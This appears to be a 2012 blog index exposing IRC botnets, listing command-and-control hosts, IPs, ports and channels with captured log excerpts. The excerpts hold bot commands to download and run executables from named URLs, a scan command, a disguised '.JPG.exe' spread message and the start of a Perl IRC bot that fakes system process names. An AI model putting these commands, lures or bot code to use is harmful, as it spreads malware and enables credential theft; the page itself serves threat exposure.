Resolved : [yaboyyoshi.info] To [149.3.139.227] Remote Host Port Number yaboyyoshi.info 6969 PASS none Update from our anonymous friend: yaboyyoshi.info:5500 or 6969 pass: none channel #aryan# Now talking in #aryan# Topic On: [ #aryan# ] [ @dload http://jessieandthetoyboys.com.br/cc_sminer_4-29.exe 1 ] Topic By: [ Yoshi ] hosting infos: http://whois.domaintools.com/149.3.139.227
irc.s4l1ty.info(Linux bots hosted in Indonesia Jakarta Primanet)
“Private Bot” lol #!/usr/bin/perl # # Thanks To: irc.RoIrc.in ########## Configuration ############ my @ps = ("/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[bash]"); my $processo = $ps[rand scalar @ps]; $servidor='irc.s4l1ty.info' unless $servidor; my $porta='6667'; my @canais=("#X"); my @adms=("s4l1ty"); # Anti Flood ( 6/3 Recomendado ) my $linas_max=10; my $sleep=5; my $nick = getnick(); my $ircname = getident2();Read more...
188.165.202.199(500 ngrBots hosted in France Paris Ovh Systems)
Server:188.165.202.199:7000 JOIN #team hell Local users: Current Local Users: 479 Max: 573 Global users: Current Global Users: 479 Max: 573 #team {DE|W7-64a}mkliatk!x@EFF4177A.A0F8E1F4.CC6C8B5.IP ~ZRt!Expl3it@IDFADM @Rejuven!Shlomi@IDFADM ~DAKiNE!Anonymous@IDFADM ~wGi!Nikka@IDFADM End of /NAMES list. :wGi!Nikka@IDFADM PRIVMSG #team :.usb on is funny how irc bots can steal passwd from chrome Session Start: Mon Apr 02 21:13:59 2012 Session Ident: #teamRead more...
retk01.com(ngrBot hosted in razorservers.com)
Resolved : [retk01.com] To [208.83.233.194] Resolved : [retk01.com] To [208.83.234.66] Resolved : [retk01.com] To [208.83.232.90] Now talking in #asdf Topic On: [ #asdf ] [ ~pu http://hotfile.com/dl/151810986/ee21746/2abril.exe de5da5df4246178095743f3a7827f150 ~s -o ~s ] Topic By: [ google ] Modes On: [ #asdf ] [ +smntMu ] Now talking in #xp Topic On: [ #xp ] [Read more...
msnsolution.nicaze.net(irc botnet hosted in United Kingdom Redstation Limited)
Remote Host Port Number msnsolution.nicaze.net 1866 NICK [USA|XP|COMPUTERNAME]lrjrrcg USER hh “” “lol” :hh JOIN #!h! NICK n[USA|XP|COMPUTERNAME]fasfeae NICK [USA|XP|COMPUTERNAME]jpxqqzc hosting infos: http://whois.domaintools.com/149.3.140.52
m49.no-ip.biz(irc botnet hosted in United Kingdom Burstnet Limited°
Remote Host Port Number m49.no-ip.biz 9876 PASS none Now talking in #AryaN Modes On: [AryaN ] [ +] Local users: Current Local Users: 311 Max: 317 Global users: Current Global Users: 311 Max: 317 Quits: Replace [nnscript@uNkn0wn.eu] (Client hat die Verbindung getrennt 14) Joins: New{IS-WN7-x64}2432505 [2432505@0wn3d-C0A9361D.du.xdsl.is] hosting infos: http://whois.domaintools.com/178.238.136.38
vncs.knaqu.eu(irc botnet hosted in India Navi Mumbai Rcom-static-dia)
vncs.knaqu.eu 115.249.138.155 C&C Server: 115.249.138.155:4244 Server Password: Username: wdnavppsm Nickname: [nLh-VNC]tkdkoa Channel: #v# (Password: ) Channeltopic: :!scan 94 1 98.x.x.x 3 1 98.x.x.x 3 1 Opened listening TCP connection on port: 16202 hosting infos: http://whois.domaintools.com/115.249.138.155
picture.hexsh.info(blaze bot hosted in Bulgaria Net1 Ltd Burimi and Dee in same channel)
Same owner from this post http://www.exposedbotnets.com/2012/03/swl33t-milfinfo-100k-reptile-bots.html Resolved : [picture.hexsh.info] To [46.249.71.18] Resolved : [picture.hexsh.info] To [192.117.148.103] Resolved : [picture.hexsh.info] To [212.170.205.179] Resolved : [picture.hexsh.info] To [189.35.205.123] Resolved : [picture.hexsh.info] To [208.125.158.219] Resolved : [picture.hexsh.info] To [59.180.210.189] Resolved : [picture.hexsh.info] To [46.214.145.230] Resolved : [picture.hexsh.info] To [211.72.230.83] Resolved : [picture.hexsh.info] To [91.121.232.87] Resolved : [picture.hexsh.info] ToRead more...
support.leetpm.info(ngrBot from Burimi big hecker hosted in France Paris Ovh Systems)
Resolved : [support.leetpm.info] To [208.125.158.219] Resolved : [support.leetpm.info] To [91.121.232.87] Resolved : [support.leetpm.info] To [46.249.71.18] Resolved : [support.leetpm.info] To [189.35.205.123] Resolved : [support.leetpm.info] To [59.180.210.189] Download URLs http://107.20.230.29/u/69321915/Bl.exe (dl.dropbox.com) C&C Server: 91.121.232.87:6667 Server Password: Username: 3952 Nickname: {NEW}[DEU][XP]366531 Channel: #snowz# (Password: ) Channeltopic: :.dl http://dl.dropbox.com/u/69321915/Bl.exe Topic By: [ a ] Now talking in #sw# TopicRead more...
gn.albacrew.com(ngrBot hosted in United States San Antonio Slicehost)
Resolved : [gn.albacrew.com] To [108.166.82.173] Remote Host Port Number 108.166.82.173 9731 PASS ngrBot NICK n{US|XPa}ofiahmg USER ofiahmg 0 0 :ofiahmg JOIN #ng# ngrBot PRIVMSG #ng# :[MSN]: Updated MSN spread interval to “4” PRIVMSG #ng# :[MSN]: Updated MSN spread message to “look my Photos Like IT đŸ™‚ http://facebook33media.com/IMG1234563315533.JPG.www.FaceBook.com.exe” Topic By: [ a ] (a) Kaspersky Anti-VirusRead more...